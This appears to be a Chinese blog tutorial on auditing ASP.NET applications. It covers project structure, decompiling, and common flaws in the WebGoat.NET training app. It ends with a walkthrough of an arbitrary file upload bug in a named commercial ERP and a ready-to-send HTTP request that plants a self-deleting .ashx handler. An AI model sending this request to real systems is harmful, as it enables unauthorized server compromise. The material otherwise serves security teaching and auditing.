目录

dotnet代码审计系列(一)

dotnet代码审计系列(一)

1. 概述

1.1. 背景

.NET Framework 是微软开发的一个托管代码框架,主要用于构建和运行 Windows 应用程序。它提供了大量的类库、通用语言运行时(CLR)、以及开发和管理应用程序的工具。使用 .NET Framework 开发的应用程序通常是用 C#、VB.NET、F# 等语言编写的,编译后生成中间语言(IL),然后由 CLR 执行。

.NET Framework 的重要特性包括:

  1. 跨语言互操作性:不同编程语言编写的组件可以无缝协作,因为它们都编译为 IL 并在 CLR 中运行。
  2. 内存管理:通过垃圾收集器自动管理内存,减少内存泄漏和其他内存相关的安全问题。
  3. 安全模型:.NET Framework 提供了代码访问安全(CAS)和验证机制,控制代码的权限和执行。

在企业应用中,.NET Framework 广泛应用于开发 Web 应用程序、桌面应用程序和服务。在今年国家HW中,仍有大量应用采用 .NET框架。由于其广泛使用以及应用程序的复杂性,.NET 应用程序容易成为攻击者的目标。目前市面上针对 .NET框架代码审计的资料较少,遂总结本文。

1.2. .NET Framework与.NET Core的区别

.NET.NET Core 是微软开发的两个不同的开发框架,有如下区别:

平台支持

  • .NET Framework (.NET): 仅支持在 Windows 操作系统上运行。适合开发 Windows 桌面应用程序、ASP.NET Web 应用程序等。
  • .NET Core: 是跨平台的框架,可以在 Windows、Linux 和 macOS 上运行。因此,它更适合需要跨平台部署的应用程序。

开源与社区支持

  • .NET Framework: 不是完全开源的,虽然它的一些组件是开源的,但整体框架仍然是由微软维护和控制的。
  • .NET Core: 是完全开源的,并且有一个活跃的开源社区。开发者可以访问源代码,并对其进行贡献。

总之,.NET Core 是一个更现代化、跨平台、模块化的框架,更适合现代应用的开发需求。而 .NET Framework 则主要用于现有 Windows 应用的维护和延续开发。随着 .NET 5+ 的发布,微软将 .NET Core 作为未来的主线开发方向,并统一了整个 .NET 生态系统。

2. .NET Web 项目

目前,ASP.NET中三种主流的开发方式是:ASP.NET Webform、ASP.NET MVC、ASP.NET Core。

拿一张官方图片来描述:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301005044.png-water_print

2.1. WebForm开发模式

一张经典的图来描述整个过程:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301006193.png-water_print

  • aspx页面显示,通常代码是一些html代码,第一行文件头会显示具体触发功能代码的位置,就可以通过这个位置找到处理的函数。服务器端的动作就是在aspx.cs文件中定义
  • .cs是类文件,存放公共类。
  • .ashx是一般处理程序,主要用于写web handler,可以理解成不会显示的aspx页面,不过效率更高
  • dll就是编译之后的cs文件。

以WebGoat.NET靶场为例:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301006147.png-water_print

第一行的含义:

  • Language:表示当前所使用的语言,为C# 开发语言。
  • AutoEventWireup:表示 ASP.NET 是否自动将页面事件(如 Page_Load)绑定到页面的事件处理方法,true 表示自动绑定,这意味着如果页面中有一个名为 Page_Load 的方法,它将自动处理页面的 Load 事件。
  • CodeBehind: 属性指定与页面关联的代码隐藏文件的路径。在上图中,LoginPage.aspx.cs 是包含后台代码的文件,其中定义了页面的逻辑。在一些较新的 ASP.NET 项目中,CodeBehind 可能被 CodeFile 替代,特别是在 Web Application 项目中。
  • Inherits:指定页面继承的类。该页面继承自 OWASP.WebGoat.NET.LoginPage 类,这个类通常在 LoginPage.aspx.cs 文件中定义。

目录结构:

1
2
3
4
5
App_Code: 存放共享的代码文件,如类、接口等。这些文件可以在整个应用程序中访问。
App_Data: 存储应用程序的数据库文件或其他数据文件。这个目录对外部用户不可访问。
Bin: 存放编译后的程序集(DLL 文件)和依赖项。这个目录会自动创建。
Resources: 存放与特定页面相关的资源文件。
Web.config: 应用程序的配置文件,用于定义应用程序的设置、连接字符串、路由等。

2.2. MVC 开发模式

ASP.NET MVC 是一种基于 MVC 模式的 Web 开发框架,注重分离关注点(Separation of Concerns),即将业务逻辑、用户界面和输入控制分离。具体呈现模式和Java比较类似,在此不做赘述。

目录结构:

1
2
3
4
5
6
7
8
9
Controllers: 包含控制器类文件。控制器负责处理用户输入、操作模型,并返回视图。
Models: 存放应用程序的模型类,这些类定义了应用程序的数据结构和业务逻辑。
Views: 包含视图文件(.cshtml 或 .vbhtml),用于呈现用户界面。通常每个控制器有一个对应的视图文件夹。
Scripts: 存放 JavaScript 文件。
App_Start: 包含启动配置文件,如 RouteConfig.cs、BundleConfig.cs、FilterConfig.cs 等。
App_Data: 存储应用程序的数据库文件或其他数据文件。
Bin: 存放编译后的程序集(DLL 文件)和依赖项。
Global.asax: 应用程序的全局配置文件,用于处理应用程序级别的事件。
Web.config: 应用程序的配置文件。

2.3. ASP.NET Core Razor Pages

ASP.NET Core 是一个跨平台、高性能的开源框架,用于构建现代 Web 应用、云应用和微服务。它整合了 ASP.NET MVC 和 Web API,并具有更好的性能和灵活性。通过 Razor Pages 提供了一种类似 Web Forms 的开发体验,但更轻量。每个页面由一个 Razor 文件(.cshtml)和一个代码隐藏文件(.cshtml.cs)组成,页面逻辑与视图紧密结合。避免了 MVC 中的路由配置复杂性,适合页面数量少的应用,适用于小型项目或单页面应用程序,以及希望简化页面开发的场景。

目录结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Controllers: 包含控制器类文件。控制器处理请求并返回响应,通常使用 API 风格或 MVC 模式。
Models: 包含模型类,用于定义应用程序的数据结构和业务逻辑。
Views: 包含视图文件(.cshtml),用于呈现用户界面。
Shared: 包含共享的视图,如布局文件 _Layout.cshtml。
Pages: 用于 Razor Pages 项目,包含页面文件(.cshtml)和页面模型文件(.cshtml.cs)。
wwwroot: 存放静态文件(CSS、JavaScript、图像等)。这个文件夹中的内容可以通过 URL 直接访问。
css: 存放 CSS 文件。
js: 存放 JavaScript 文件。
lib: 存放通过包管理器(如 npm 或 LibMan)安装的前端库。
AppSettings.json: 应用程序的配置文件,替代了传统的 Web.config。
Program.cs: 应用程序的入口点,配置和启动应用程序。
Startup.cs: 配置应用程序的服务和请求管道。通常包括中间件配置和服务依赖注入。
Bin: 存放编译后的程序集(DLL 文件)和依赖项。
Properties: 包含项目的属性文件,如 launchSettings.json,用于配置开发和发布设置。

3. 反编译工具

在 .NET 应用程序开发中,预编译(Precompilation)是指将应用程序的代码提前编译成DLL等库文件,以提高性能、减少首次请求的启动时间,并增强代码的保护性。预编译通常应用于 Web 应用程序,如 ASP.NET,这类应用程序的代码在部署到服务器之前可以通过预编译减少或消除运行时编译的需求。

当站点存在这种情况时,就需要反编译 /bin 目录下的 DLL 文件,来获取源码。

可选择的 .NET反编译工具主要有四个:dnSpy(于2020年左右停止更新)、ILSpy、dotPeek(JetBrains发布)、dnSpyx(非官方更新版)。

下图是 ILSpy 反编译的结果:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301007462.png-water_print

ILSpy对字符串搜索功能不是很友好,因此可以选择将反编译的源码导出为文本,再去审计。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301007118.png-water_print

如果反编译出的代码存在混淆,则可利用反混淆工具进行还原。反混淆的工具有很多,其中de4dot是目前最主流的反混淆工具。

检测混淆器类型:

1
de4dot.exe -d C:\bin\demo.dll

批量反混淆:

1
de4dot.exe -r c:\input -ru -ro c:\output

4. 常见漏洞

以下漏洞代码均以WebGoat.NET靶场为例

4.1. 文件上传漏洞

/WebGoat/Content/UploadPathManipulation.aspx.cs

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301007481.png-water_print

代码的主要目的是将用户上传的文件保存到服务器上的一个指定目录中,并在上传成功或失败时向用户显示相应的消息。

具体代码逻辑如下:

  1. 页面加载
    • Page_Load 方法为空,没有进行任何操作。页面加载时,没有特定的逻辑执行。
  2. 文件上传
    • btnUpload_Click 方法是按钮点击事件的处理程序,当用户点击上传按钮时触发。
    • 首先,代码检查 FileUpload1 控件是否包含文件(即 FileUpload1.HasFile 是否为真)。
    • 如果有文件上传,代码获取文件的名称,并使用 Server.MapPath 将虚拟路径转换为服务器上的物理路径。然后调用 FileUpload1.SaveAs 将文件保存到指定的路径中。
    • 如果文件上传成功,程序会在 labelUpload 标签中显示成功消息。
    • 如果上传过程中发生异常,异常信息将显示在 labelUpload 标签中。
    • 最后,确保 labelUpload 标签可见。

典型文件上传漏洞,未验证文件格式,导致攻击者可上传.aspx文件。

前端代码如下 /WebGoat/Content/UploadPathManipulation.aspx

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301008141.png-water_print

代码审计关注点:

1
2
3
4
saveas()
File.Move(sourcePath, destinationPath);
File.Copy(sourcePath, destinationPath);
System.IO.File.WriteAllBytes

4.2. RCE 漏洞

/WebGoat/App_Code/Util.cs

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301008328.png-water_print

如果 cmd 参数可控时,可执行系统命令

代码审计关注点:

1
2
Process.Start()
ShellExecute()

4.3. SQL 注入漏洞

/WebGoat/Content/SQLInjection.aspx.cs

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301008587.png-water_print

跟进 GetEmailByName 方法

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301009997.png-water_print

采取参数拼接的方式,导致SQL注入。

代码审计关注点:

1
SQL语句拼接处

4.4. 任意文件读取/下载

/WebGoat/Content/PathManipulation.aspx.cs

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301009483.png-water_print

33行filename可控,跟进 ResponseFile 函数:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301009201.png-water_print

未对文件路径进行过滤,直接读取文件

将读取的文件流写入到HTTP Response中,造成任意文件读:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301009338.png-water_print

代码审计关注点:

1
2
3
File 对象的 OpenText 和 OpenRead 方法
FileStream 对象的 FileMode.Open 和 FileMode.Read
Response.WriteFile 常用于文件下载

5. 查找程序入口点

在 .NET Web 项目中,入口点是程序开始执行的地方,确定了应用程序的初始化过程。入口点会因项目类型的不同而有所不同,以下是一些常见的 .NET Web 项目类型及其入口点的概述:

5.1. ASP.NET Core 项目

ASP.NET Core 项目的入口点通常在 Program.cs 文件中。该文件包含 Main 方法,这是应用程序的实际入口。

示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public class Program
{
    public static void Main(string[] args)
    {
        CreateHostBuilder(args).Build().Run();
    }

    public static IHostBuilder CreateHostBuilder(string[] args) =>
        Host.CreateDefaultBuilder(args)
            .ConfigureWebHostDefaults(webBuilder =>
            {
                webBuilder.UseStartup<Startup>();
            });
}
  • Main** 方法**:应用程序从这里开始执行。CreateHostBuilder 方法用于创建和配置应用程序的主机。
  • Startup** 类**:指定在启动过程中要配置应用程序服务和中间件的类。

5.2. ASP.NET MVC 项目

在 ASP.NET MVC 项目中,入口点位于 Global.asax.cs 文件中,通常是 Application_Start 方法。

示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class MvcApplication : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        AreaRegistration.RegisterAllAreas();
        FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
        RouteConfig.RegisterRoutes(RouteTable.Routes);
        BundleConfig.RegisterBundles(BundleTable.Bundles);
    }
}
  • Application_Start** 方法**:这是 MVC 应用程序的入口点,当应用程序启动时,ASP.NET 会调用这个方法,用于配置路由、过滤器、捆绑包等。

5.3. ASP.NET Web Forms 项目

ASP.NET Web Forms 项目的入口点也在 Global.asax.cs 文件中,同样使用 Application_Start 方法进行初始化。

示例:

1
2
3
4
5
6
7
public class Global : System.Web.HttpApplication
{
    protected void Application_Start(object sender, EventArgs e)
    {
        // 应用程序启动时的配置代码
    }
}

6. 查找路由

在 .NET Web 项目中,路由定义了 URL 请求如何映射到特定的控制器和操作方法(或者处理程序)。当确定了程序入口点,以及存在风险的不安全函数后,如何访问到存在漏洞的页面呢?Web Forms 项目很简单,直接访问对应的 xxx.aspx 即可,其它架构下就需要寻找其路由定义。

6.1. ASP.NET Core 项目

ASP.NET Core 使用 Startup.cs 文件中的 Configure 方法来配置路由。通常你会看到类似如下的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
    app.UseRouting();

    app.UseEndpoints(endpoints =>
    {
        endpoints.MapControllerRoute(
            name: "default",
            pattern: "{controller=Home}/{action=Index}/{id?}");
    });
}

在这里,MapControllerRoute 方法定义了默认的路由模式,你可以在这个 UseEndpoints 方法中查看和定义项目的所有路由。

6.2. ASP.NET MVC 项目

在 ASP.NET MVC 项目中,路由通常配置在 RouteConfig.cs 文件中,该文件位于 App_Start 文件夹下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class RouteConfig
{
    public static void RegisterRoutes(RouteCollection routes)
    {
        routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

        routes.MapRoute(
            name: "Default",
            url: "{controller}/{action}/{id}",
            defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
        );
    }
}

7. 实战某ERP项目

这是一套典型的MVC架构,采取预编译形式,DLL 文件均放置在 bin 目录下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301010297.png-water_print

首先拿到项目源码时,先关注如下几个文件:

Global.asax:用于处理应用程序级别的事件,例如应用程序启动(Application_Start)、会话启动(Session_Start)、应用程序错误(Application_Error)等。

Web.config:ASP.NET 应用程序的主要配置文件,用于定义应用程序的配置设置,例如数据库连接字符串、身份验证方式、自定义错误页面等。

其中 Global.asax 定义了程序入口点在 TraderXX.MvcApplication类中

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301010038.png-water_print

一般来说,DLL 文件名会对应上面 class的名称(或相近),在 bin 下找到对应的 DLL 文件:TraderXX.dll,拖入ILSpy进行反编译:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301010235.png-water_print

寻找 MvcApplication,在里面定义了一些基础路由:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301010957.png-water_print

然后寻找存在风险的函数,这里以文件上传为例,搜索 WriteAllBytes 关键字:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301010825.png-water_print

搜索到 EmailController 下定义了 UploadEmailAttr action,其中

1
2
[ValidateInput(false)]
[AcceptVerbs(HttpVerbs.Post)]

[ValidateInput(false)]:禁用请求输入验证。这意味着方法不会验证输入数据是否包含潜在的危险内容(例如 HTML 或脚本)。这通常在处理 HTML 或富文本编辑器数据时使用,但也可能会带来安全风险(如 XSS 攻击),因此需要谨慎使用。

[AcceptVerbs(HttpVerbs.Post)]:指定该方法只接受 HTTP POST 请求。这表明此方法仅在处理通过 POST 方法发送的请求时会被调用。

如下这种,则是需要身份认证后才可使用的 Action:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301011537.png-water_print

这一块有点类似于 Java 的注解,定义一些全局属性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Stream stream = new BufferedStream(base.Request.InputStream);
byte[] array = new byte[stream.Length];
stream.Read(array, 0, array.Length);
string joinfWebFileRootPath = base.JoinfWebFileRootPath;
string text = joinfWebFileRootPath + "temp\\emailatta\\" + DateTime.Now.ToString("yyyyMM") + "\\";
if (stream != null && stream.Length > 0)
{
  if (!Directory.Exists(text))
  {
    Directory.CreateDirectory(text);
  }
  string text2 = CreateGUID(v_hasdate: true) + base.Request["name"];
  string text3 = text + text2;
  string text4 = text3.Replace(base.JoinfWebFileRootPath, base.JoinfWebFileRootUrl).Replace("\\", "/");
  string text5 = "0";
  if (text2.ToLower().EndsWith(".jpg") || text2.ToLower().EndsWith(".png") || text2.ToLower().EndsWith(".jpeg") || text2.ToLower().EndsWith(".gif"))
  {
    text5 = "1";
  }
  System.IO.File.WriteAllBytes(text3, array);
  return "1|" + text3.Replace(joinfWebFileRootPath, "") + "|" + text4 + "|" + text2 + "|" + text5;
}

接下来的函数逻辑是从 HTTP Body 中读取内容,读取 HTTP name 参数作为文件后缀,虽然检测了文件后缀的内容,但是并未做拦截处理,最终利用System.IO.File.WriteAllBytes直接写入到系统中,实现任意文件上传。

接下来就是寻找具体的路由定义了,由于在全局路由处并未定义具体的功能路由,因此搜索相关关键字,找到区域路由的定义:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202408301011041.png-water_print

1
public class JoinfAppAreaRegistration : AreaRegistration

这里定义了一个名为 JoinfAppAreaRegistration 的类,它继承自 AreaRegistration 类。AreaRegistration 是 ASP.NET MVC 中用于注册区域的基类。

1
public override string AreaName => "JoinfApp";

该属性定义了区域的名称为 "JoinfApp"。这个名称用于标识和访问该区域。

1
public override void RegisterArea(AreaRegistrationContext context)

RegisterArea 方法是重写自 AreaRegistration 基类的一个抽象方法,用于注册该区域的路由。AreaRegistrationContext 参数提供了对当前区域路由的上下文信息。

1
2
3
4
5
6
context.MapRoute("Index", "JoinfApp/Index", new
{
    controller = "Mobile",
    action = "Index",
    AreaName = "JoinfApp"
});

这段代码为该区域定义了一个名为 "Index" 的路由。此路由将 URL 模式 "JoinfApp/Index" 映射到 Mobile 控制器的 Index 操作方法,并且将 AreaName 设置为 "JoinfApp"。具体来说:

  • URL 模式 "JoinfApp/Index" 将匹配类似 http://xx/JoinfApp/Index 的请求。
  • 该请求将被路由到 MobileControllerIndex 方法。
1
2
3
4
5
context.MapRoute("JoinfApp_default", "JoinfApp/{controller}/{action}/{id}", new
{
    action = "Index",
    id = UrlParameter.Optional
});

此处定义了一个名为 "JoinfApp_default" 的默认路由,用于匹配区域内的大多数请求。它的 URL 模式是 "JoinfApp/{controller}/{action}/{id}",该路由可以匹配类似 http://xx/JoinfApp/ControllerName/ActionName/123 的请求。

  • {controller} 是控制器名称的占位符。
  • {action} 是操作方法名称的占位符,默认值是 "Index"
  • {id} 是可选的参数,默认为空。

因此 payload 呼之欲出(公开漏洞,无风险):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
using System.IO;
using System.Threading.Tasks;
public class AverageHandler : IHttpHandler
{
    public bool IsReusable
    { get { return false; } }
    public void ProcessRequest(HttpContext ctx)
    {
        ctx.Response.Write("POC_TEST");
        Task.Run(async () =>
        {
            File.Delete(ctx.Server.MapPath(ctx.Request.FilePath));
        });
        ctx.Response.Flush();
        ctx.Response.End();
    }
}

8. 参考

https://github.com/wy876/POC/raw/f98270a2af8444ba6a1733888bf9c95560d0970e/富通天下外贸ERP/富通天下外贸ERP任意文件上传漏洞.md

https://wiki.owasp.org/index.php/Category:OWASP_WebGoat.NET

https://www.freebuf.com/vuls/398034.html

https://xz.aliyun.com/t/15033